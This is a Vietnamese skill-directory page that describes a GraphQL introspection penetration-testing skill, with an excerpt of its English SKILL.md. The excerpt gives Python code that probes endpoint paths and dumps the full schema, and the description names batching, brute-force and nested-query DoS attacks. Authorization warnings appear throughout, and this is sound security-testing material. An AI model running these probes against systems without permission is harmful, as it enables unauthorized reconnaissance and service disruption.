Chuyển đến nội dung
Skillpedia
Kiểm thử35k · #8237

performing-graphql-introspection-attack

Skill này làm gì

Công cụ này giúp kiểm tra bảo mật các API dùng GraphQL. Nó cố khám phá toàn bộ cấu trúc API (cách dữ liệu được tổ chức và các thao tác có thể thực hiện) và tìm các lỗi có thể bị khai thác.

Khi nào nên dùng

  • ✓Khi bạn có quyền kiểm tra bảo mật một API GraphQL.
  • ✓Khi cần hiểu tất cả các kiểu dữ liệu và thao tác mà API GraphQL cung cấp.
  • ✓Khi cần kiểm tra xem API có dễ bị tấn công làm quá tải hệ thống hoặc làm lộ thông tin không.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Khám phá toàn bộ schema GraphQL tại “https://api.example.com/graphql” và tìm các trường nhạy cảm.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Công cụ gửi các yêu cầu đặc biệt đến API GraphQL. Nếu API cho phép, nó sẽ tiết lộ toàn bộ cấu trúc của API. Sau đó công cụ phân tích cấu trúc này để tìm các điểm yếu đã biết.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Performing GraphQL Introspection Attack

When to Use

  • Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
  • Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
  • Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
  • Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
  • Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries

Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.

Prerequisites

  • Written authorization specifying the GraphQL endpoint and testing scope
  • Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
  • Python 3.10+ with requests and gql libraries
  • GraphQL Voyager or GraphQL Playground for schema visualization
  • Clairvoyance tool for schema reconstruction when introspection is disabled
  • Wordlists for GraphQL field and type name brute-forcing

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: GraphQL Endpoint Discovery

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# Common GraphQL endpoint paths
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
    # Test with a simple introspection query
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
            print(f"  Response: {resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # Also test GET method
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

Step 2: Full Introspection Query

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# Full introspection query to extract complete schema
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()

…
Câu hỏi thường gặp

GraphQL là gì?

GraphQL là cách xây dựng API (giao diện cho phép các chương trình giao tiếp với nhau) linh hoạt và hiệu quả hơn các phương pháp cũ. Nó cho phép bên gọi API yêu cầu đúng dữ liệu họ cần.

“Introspection” là gì?

Introspection trong GraphQL là tính năng cho phép một chương trình hỏi API về chính cấu trúc của nó. Giống như API tự mô tả mình cho bên đang truy vấn.

Vì sao cần có sự cho phép?

Kiểm thử bảo mật hệ thống khi không được phép là vi phạm pháp luật. Công cụ này có thể gây mất ổn định hoặc ngừng hoạt động nếu dùng trên hệ thống không được phép, vì vậy giấy phép bằng văn bản là bắt buộc.

Chi tiết

Mô tả gốc của tác giả

Performs GraphQL introspection attacks that extract the full API schema (types, queries, mutations, subscriptions, field definitions), map the attack surface, test query depth/complexity limits, and exploit GraphQL-specific weaknesses such as batching attacks, alias-based brute force, and nested query DoS. Use for GraphQL security testing, schema enumeration, or GraphQL API penetration testing. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#8237
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự